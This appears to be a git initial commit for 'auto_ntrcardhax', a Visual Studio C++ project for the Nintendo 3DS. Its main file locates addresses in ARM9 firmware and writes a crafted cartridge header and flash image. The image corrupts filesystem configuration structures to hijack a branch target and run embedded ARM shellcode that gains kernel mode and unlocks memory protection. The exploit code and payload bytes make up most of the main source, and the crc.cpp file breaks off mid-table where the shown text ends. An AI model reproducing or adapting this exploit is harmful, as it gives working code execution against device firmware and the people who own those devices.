Initial Commit

This commit is contained in:
Normmatt 2016-03-29 20:49:35 +13:00
commit d1225a56c7
18 changed files with 3638 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.24720.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "auto_ntrcardhax", "auto_ntrcardhax\auto_ntrcardhax.vcxproj", "{3E1E4E4A-7168-45B2-91AB-D97C348C444F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x64.ActiveCfg = Debug|x64
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x64.Build.0 = Debug|x64
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x86.ActiveCfg = Debug|Win32
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x86.Build.0 = Debug|Win32
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x64.ActiveCfg = Release|x64
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x64.Build.0 = Release|x64
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x86.ActiveCfg = Release|Win32
{3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,219 @@
/*****************************************************************************
*
* EBS - RTFS (Real Time File Manager)
*
* Copyright EBS, 2007
* All rights reserved.
*
****************************************************************************/
#pragma once
//standard types
typedef unsigned char byte; /* Don't change */
typedef unsigned short word; /* Don't change */
typedef unsigned long dword; /* Don't change */
#define BOOLEAN int /* Don't change */
#if (!defined(TRUE))
#define TRUE 1 /* Don't change */
#endif
#if (!defined(FALSE))
#define FALSE 0 /* Don't change */
#endif
/* Structure passed from the blk_dev layer to RTFS_DEVI_device_mount() when new media comes on line */
typedef struct rtfs_devi_media_parms
{
void *devhandle; /* Handle Rtfs will pass to device_io() and other functions. devhandle is opaque to rtfs */
#define DEVICE_REMOVE_EVENT 0x01
dword mount_flags;
dword access_semaphore; /* Access semaphore for the device. */
dword media_size_sectors; /* Total number of addressable sectors on the media */
dword numheads; /* cylinder, head, sector representation of the media. */
dword numcyl; /* Note: must be valid FAT HCN values. max cyl = 1023, max heads == 255, max sectors = 63 */
dword secptrk;
dword sector_size_bytes; /* Sector size in bytes: 512, 2048, etc */
dword eraseblock_size_sectors; /* Sectors per erase block. Set to zero for media without erase blocks */
int is_write_protect; /* Set to one if the media is write protected */
byte *device_sector_buffer_base;
void *device_sector_buffer;
dword device_sector_buffer_size;
int unit_number; /* which instance of this device */
int device_type; /* Used by blk dev driver layer. device mount sets it, volume mount may use it to configure buffering */
int(*device_io)(void *devhandle, void * pdrive, dword sector, void *buffer, dword count, BOOLEAN reading);
int(*device_erase)(void *devhandle, void *pdrive, dword start_sector, dword nsectors);
int(*device_ioctl)(void *devhandle, void *pdrive, int opcode, int iArgs, void *vargs);
int(*device_configure_media)(struct rtfs_media_insert_args *pmedia_parms, struct rtfs_media_resource_reply *media_config_block, int sector_buffer_required);
int(*device_configure_volume)(struct rtfs_volume_resource_request *prequest_block, struct rtfs_volume_resource_reply *preply_block);
} RTFS_DEVI_MEDIA_PARMS;
/* Block buffer */
typedef struct blkbuff {
struct blkbuff *pnext; /* Used to navigate free and populated lists */
struct blkbuff *pprev; /* the populated list is double linked. */
/* Free list is not */
struct blkbuff *pnext2; /* Each hash table entry starts a chain of these */
#define DIRBLOCK_FREE 0
#define DIRBLOCK_ALLOCATED 1
#define DIRBLOCK_UNCOMMITTED 2
int block_state;
int use_count;
struct ddrive *pdrive; /* Used during IO */
struct ddrive *pdrive_owner; /* Used to distinguish scratch allocation from common pool or device */
dword blockno;
dword data_size_bytes; /* Size of the data at pointer */
byte *data;
} BLKBUFF;
/* contain location information for a directory */
typedef struct dirblk {
dword my_frstblock; /* First block in this directory */
dword my_block; /* Current block number */
#if (INCLUDE_EXFAT) /* Exfat dirblk extensions */
dword my_exNOFATCHAINfirstcluster; /* ExFat - if non-zero we are scanning a contiguous region with no FAT chain */
dword my_exNOFATCHAINlastcluster; /* ExFat - if non-zero we are scanning a contiguous region with no FAT chain */
#endif
int my_index; /* dirent number in my block */
} DIRBLK;
/* Object used to find a dirent on a disk and its parent's */
typedef struct drobj {
struct ddrive *pdrive;
struct finode *finode;
DIRBLK blkinfo;
BOOLEAN isroot; /* True if this is the root */
BOOLEAN is_free; /* True if on the free list */
BLKBUFF *pblkbuff;
} DROBJ;
// HEREHERE - reduceme and clear current drive for all users if ejected
/* User structure management */
typedef struct rtfs_system_user
{
dword task_handle; /* Task this is for */
int rtfs_errno; /* current errno value for the task */
#if (INCLUDE_DEBUG_VERBOSE_ERRNO)
char *rtfs_errno_caller; /* If diagnostics enabled File name */
long rtfs_errno_line_number; /* If diagnostics enabled File line number */
#endif
int dfltdrv; /* Default drive to use if no drive specified 1-26 == a-z */
void * plcwd; /* current working directory, allocated at init time to hold NDRIVES pointers */
#if (INCLUDE_EXFATORFAT64) /* ExFat cwd strings per drive (13 K) */
word cwd_string[26][EMAXPATH_CHARS];
#endif
} RTFS_SYSTEM_USER;
/* Block buffer context */
typedef struct blkbuffcntxt {
dword stat_cache_hits;
dword stat_cache_misses;
struct blkbuff *ppopulated_blocks; /* uses pnext/pprev */
struct blkbuff *pfree_blocks; /* uses pnext */
struct blkbuff *assigned_free_buffers;
#if (INCLUDE_DEBUG_LEAK_CHECKING)
struct blkbuff *pscratch_blocks; /* uses pnext */
#endif
int num_blocks;
int num_free;
int scratch_alloc_count;
int low_water;
int num_alloc_failures;
#define BLOCK_HASHSIZE 16
#define BLOCK_HASHMASK 0xf
struct blkbuff *blk_hash_tbl[BLOCK_HASHSIZE]; /* uses pnext2 */
} BLKBUFFCNTXT;
/* A placeholder vector must be provided by the device driver if it registers a function to poll for device changes. */
typedef struct rtfs_devi_poll_request_vector {
struct rtfs_devi_poll_request_vector *pnext;
void(*poll_device_ready)(void);
} RTFS_DEVI_POLL_REQUEST_VECTOR;
/* Configuration structure. Must be filled in by the user.
see rtfscfg.c */
typedef struct rtfs_cfg {
int dynamically_allocated;
/* Configuration values */
int cfg_NDRIVES; /* The number of drives to support */
int cfg_NBLKBUFFS; /* The number of block buffers */
int cfg_NUSERFILES; /* The number of user files */
int cfg_NDROBJS; /* The number of directory objects */
int cfg_NFINODES; /* The number of directory inodes */
int cfg_NUM_USERS; /* The number of users to support */
int cfg_NREGIONS; /* The number of region management objects to support */
dword region_buffers_free;
dword region_buffers_low_water;
#if (INCLUDE_RTFS_PROPLUS) /* config structure: ProPlus specific element*/
int cfg_NFINODES_UEX; /* The number of combined extended and extended 64 directory inodes */
#endif
/* Core that must be provided by the user */
struct ddrive *mem_drive_pool; /* Point at cfg_NDRIVES * sizeof(DDRIVE) bytes*/
RTFS_DEVI_MEDIA_PARMS *mem_mediaparms_pool; /* Point at cfg_NDRIVES * sizeof(RTFS_DEVI_MEDIA_PARMS) bytes*/
BLKBUFF *mem_block_pool; /* Point at cfg_NBLKBUFFS * sizeof(BLKBUFF) bytes*/
byte *mem_block_data; /* Point at NBLKBUFFS*RTFS_CFG_DEFAULT_BLOCK_SIZE bytes */
struct pc_file *mem_file_pool; /* Point at cfg_USERFILES * sizeof(PC_FILE) bytes*/
struct finode *mem_finode_pool; /* Point at cfg_NFINODE * sizeof(FINODE) bytes*/
DROBJ *mem_drobj_pool; /* Point at cfg_NDROBJ * sizeof(DROBJ) bytes*/
struct region_fragment *mem_region_pool; /* Point at cfg_NREGIONS * sizeof(REGION_FRAGMENT) bytes*/
RTFS_SYSTEM_USER *rtfs_user_table; /* Point at cfg_NUM_USERS * sizeof(RTFS_SYSTEM_USER) bytes*/
void ** rtfs_user_cwd_pointers; /* Point at cfg_NUM_USERS * cfg_NDRIVES * sizeof(void *) bytes*/
struct region_fragment *mem_region_freelist;
#if (INCLUDE_RTFS_PROPLUS) /* config structure: ProPlus specific element*/
FINODE_EXTENSION_MEMORY *mem_finode_uex_pool; /* Point at cfg_NFINODES_UEX * sizeof(FINODE_EXTENSION_MEMORY) bytes*/
FINODE_EXTENSION_MEMORY *mem_finode_uex_freelist;
#endif
dword rtfs_exclusive_semaphore; /* Used by Rtfs to run single threaded so buffers may be shared */
#if (INCLUDE_FAILSAFE_RUNTIME)
struct rtfs_failsafe_cfg *pfailsafe; /* Zero unless pc_failsafe_init() was called */
dword shared_restore_transfer_buffer_size;
byte *shared_restore_transfer_buffer;
byte *shared_restore_transfer_buffer_base;
#endif
dword shared_user_buffer_size;
byte *shared_user_buffer_base;
byte *shared_user_buffer;
/* These pointers are internal no user setup is needed */
BLKBUFFCNTXT buffcntxt; /* Systemwide shared buffer pool */
struct finode *inoroot; /* Begining of inode pool */
struct finode *mem_finode_freelist;
DROBJ *mem_drobj_freelist;
struct ddrive *mem_drive_freelist;
struct ddrive *drno_to_dr_map[26];
dword userlist_semaphore; /* Used by ERTFS for accessing the user structure list */
dword critical_semaphore; /* Used by ERTFS for critical sections */
dword mountlist_semaphore; /* Used by ERTFS for accessing the mount list */
/* Note: cfg_NDRIVES semaphores are allocated and assigned to the individual
drive structure within routine pc_ertfs_init() */
/* This value is set in pc_rtfs_init(). It is the drive number of the
lowest (0-25) == A: - Z:. valid drive identifier in the system.
If the user does not set a default drive, this value will be used. */
int default_drive_id;
/* Counter used to uniquely identify a drive mount. Each time an open
succeeds this value is incremented and stored in the drive structure.
it is used by gfirst gnext et al to ensure that the drive was not
closed and remounted between calls */
int drive_opencounter;
dword rtfs_driver_errno; /* device driver can set driver specific errno value */
RTFS_DEVI_POLL_REQUEST_VECTOR *device_poll_list; /* Functions registered on this are called every time the API is entered to check for status change. */
/* Private callback functions that overrides calls to the user's callback handler */
void(*test_drive_async_complete_cb)(int driveno, int operation, int success);
#if (1) /* ||INCLUDE_V_1_0_DEVICES == 1) */
dword floppy_semaphore;
dword floppy_signal;
dword ide_semaphore;
#endif
} RTFS_CFG;

View File

@ -0,0 +1,245 @@
/*
* Copyright (C) 2016 - Normmatt
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <cstring>
#include "ERTFS_types.h"
#include "firm.h"
#include "crc.h"
// ldr sp,=0x22140000
//
// ;Disable IRQ
// mrs r0, cpsr
// orr r0, #(1<<7)
// msr cpsr_c, r0
//
// adr r0, kernelmode
// swi 0x7B
//
//kernelmode:
// mov r2, #0x22
// msr CPSR_c, #0xDF
// ldr r3, =0x33333333 ;R/W
// mcr p15, 0, r3,c5,c0, 2
// mov r2, #0xCC
// mcr p15, 0, r3,c5,c0, 3
// ldr r0, =0x23F00000
// bx r0
unsigned char loader_bin[0x44] =
{
0x30, 0xD0, 0x9F, 0xE5, 0x00, 0x00, 0x0F, 0xE1, 0x80, 0x00, 0x80, 0xE3, 0x00, 0xF0, 0x21, 0xE1,
0x00, 0x00, 0x8F, 0xE2, 0x7B, 0x00, 0x00, 0xEF, 0x22, 0x20, 0xA0, 0xE3, 0xDF, 0xF0, 0x21, 0xE3,
0x14, 0x30, 0x9F, 0xE5, 0x50, 0x3F, 0x05, 0xEE, 0xCC, 0x20, 0xA0, 0xE3, 0x70, 0x3F, 0x05, 0xEE,
0x08, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0x14, 0x22, 0x33, 0x33, 0x33, 0x33,
0x00, 0x00, 0xF0, 0x23,
};
uint32_t find_ntrcard_header_address(uint8_t *arm9bin, int arm9len)
{
uint32_t headerAdr = -1;
for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii)
{
//7C B5 PUSH {R2-R6,LR}
//2C 4C LDR R4, =card_struct
//05 00 MOVS R5, R0
//2A 48 LDR R0, =ntrcard_header
//26 00 MOVS R6, R4
if(0xB57C == *(ii) && 0x4C2C == *(ii + 1) && 0x0005 == *(ii + 2) && 0x482A == *(ii + 3) && 0x0026 == *(ii + 4))
{
headerAdr = *(uint32_t*)((uint8_t *)ii + 0xB0);
break;
}
}
return headerAdr;
}
uint32_t find_rtfs_cfg_address(uint8_t *arm9bin, int arm9len)
{
uint32_t rtfs_cfg = -1;
for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii)
{
//10 B5 PUSH {R4,LR}
//0D 48 LDR R0, =rtfs_cfg; dest
//0D 4C LDR R4, =ERTFS_prtfs_cfg
//FF 22 6D 32 MOVS R2, #0x16C; len
//00 21 MOVS R1, #0; val
//20 60 STR R0, [R4]
if(0xB510 == *(ii) && 0x480D == *(ii + 1) && 0x4C0D == *(ii + 2) && 0x22FF == *(ii + 3) && 0x326D == *(ii + 4) && 0x2100 == *(ii + 5) && 0x6020 == *(ii + 6))
{
rtfs_cfg = *(uint32_t*)((uint8_t *)ii + 0x38);
break;
}
}
return rtfs_cfg;
}
uint32_t find_rtfs_handle_address(uint8_t *arm9bin, int arm9len)
{
uint32_t rtfs_handle = -1;
for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii)
{
//70 B5 PUSH {R4-R6,LR}
//0B 23 MOVS R3, #0xB
//0B 4A LDR R2, =rtfs_handle
//00 21 MOVS R1, #0
//9B 01 LSLS R3, R3, #6
//C4 18 ADDS R4, R0, R3
if(0xB570 == *(ii) && 0x230B == *(ii + 1) && 0x4A0B == *(ii + 2) && 0x2100 == *(ii + 3) && 0x019B == *(ii + 4) && 0x18C4 == *(ii + 5))
{
rtfs_handle = *(uint32_t*)((uint8_t *)ii + 0x34) + 0x10;
break;
}
}
return rtfs_handle;
}
int main()
{
firmCtx ctx9;
uint8_t *payload = (uint8_t *)calloc(0x1000,1);
RTFS_CFG rtfs_cfg = {};
FILE *f1 = fopen("ak2i_flash81_ntrcardhax_template.bin", "rb");
fseek(f1, 0, SEEK_END);
int f1_size = ftell(f1);
uint8_t *flash = (uint8_t *)malloc(f1_size);
fseek(f1, 0, SEEK_SET);
fread(flash, 1, f1_size, f1);
fclose(f1);
memcpy(payload, flash + 0x2000, 0x1000);
firmOpen(&ctx9, "firm_2_08006800_n3ds_10_2.bin");
//int ntrHeaderAdr = 0x080E1CB4;
int ntrHeaderAdr = find_ntrcard_header_address(firmGetData(&ctx9), firmGetSize(&ctx9));
int rtfsCfgAdr = find_rtfs_cfg_address(firmGetData(&ctx9), firmGetSize(&ctx9));
int rtfsHandleAdr = find_rtfs_handle_address(firmGetData(&ctx9), firmGetSize(&ctx9));
int rtfsCfgAdrDiff = rtfsCfgAdr - ntrHeaderAdr;
int rtfsCopyLen = sizeof(RTFS_CFG) - 0x2C; //Don't need full rtfs struct
int wrappedAdr = (rtfsCfgAdrDiff) & 0xFFF;
volatile int error = 0;
if(ntrHeaderAdr == -1)
{
printf("Failed to locate ntrcard header address.\n");
error = 1;
goto exit;
}
if(rtfsCfgAdr == -1)
{
printf("Failed to locate rtfs cfg address.\n");
error = 1;
goto exit;
}
if(rtfsHandleAdr == -1)
{
printf("Failed to locate rtfs handle address.\n");
error = 1;
goto exit;
}
if((wrappedAdr >= 0x0) && (wrappedAdr <= 0x10)) //0x31C but some overlap is fine
{
printf("There is a conflict with the ntrcard header when wrapped... have fun fixing this! (%08X)\n", wrappedAdr);
error = 1;
goto exit;
}
if((wrappedAdr >= 0x2A8) && (wrappedAdr <= 0x314)) //0x31C but some overlap is fine
{
printf("There is a conflict with the rtfs struct when wrapped... have fun fixing this! (%08X)\n", wrappedAdr);
error = 1;
goto exit;
}
//Must be 1 to bypass some stuff
rtfs_cfg.cfg_NFINODES = 1;
//This is the address that gets overwritten
//NF writes two u32s
//[adr + 0] = 0x0000000B
//[adr + 4] = 0x00000000
rtfs_cfg.mem_region_pool = (struct region_fragment *)(ntrHeaderAdr + 0x4);
for(int i = 0; i < 26; i++)
rtfs_cfg.drno_to_dr_map[i] = (ddrive*)(ntrHeaderAdr + 0);
//Copy rtfs_cfg into right place (taking into account wrapping)
uint32_t* prtfs_cfg32 = (uint32_t*)&rtfs_cfg;
for(int i = 0; i < rtfsCopyLen; i+=4) //Don't need full rtfs struct
{
wrappedAdr = (rtfsCfgAdrDiff + i) & 0xFFF;
if((wrappedAdr >= 0x14) && (wrappedAdr <= 0x60))
{
printf("There is a conflict with the ntrcard header when wrapped... have fun fixing this! (%08X)\n", wrappedAdr);
printf("%08X out of %08X copied.", i, rtfsCopyLen);
if(i < 0xFC)
{
printf("This might not actually work because not enough buffers were overwritten correctly!");
error = 1;
}
break;
}
*(uint32_t*)&payload[wrappedAdr] = prtfs_cfg32[i/4];
}
*(uint32_t*)&payload[0x2EC] = rtfsHandleAdr; //Some handle rtfs uses
*(uint32_t*)&payload[0x2F0] = 0x41414141; //Bypass FAT corruption error
*(uint32_t*)&payload[0x31C] = ntrHeaderAdr + 0x2A8; //This is the PC we want to jump to (from a BLX)
memcpy(&payload[0x2A8], loader_bin, 0x44);
//Fix nds header as this makes native firm respond properly
uint16_t crc = CalcCrc(payload, 0x15E);
*(uint16_t*)&payload[0x15E] = crc;
FILE *f = fopen("ACEKv00.nds", "wb");
fwrite(payload, 1, 0x1000, f);
fclose(f);
memcpy(flash + 0x2000, payload, 0x1000);
FILE *f2 = fopen("ak2i_flash81_ntrcardhax.bin", "wb");
fwrite(flash, 1, f1_size, f2);
fclose(f2);
exit:
free(flash);
free(payload);
free(firmGetData(&ctx9));
while(error);
return 0;
}

View File

@ -0,0 +1,160 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3E1E4E4A-7168-45B2-91AB-D97C348C444F}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>auto_ntrcardhax</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="auto_ntrcardhax.cpp" />
<ClCompile Include="crc.cpp" />
<ClCompile Include="firm.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="crc.h" />
<ClInclude Include="ERTFS_types.h" />
<ClInclude Include="firm.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,42 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="auto_ntrcardhax.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="firm.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="crc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ERTFS_types.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="firm.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="crc.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,48 @@
#include <cstdio>
#include "crc.h"
unsigned short crc16tab[] =
{
0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
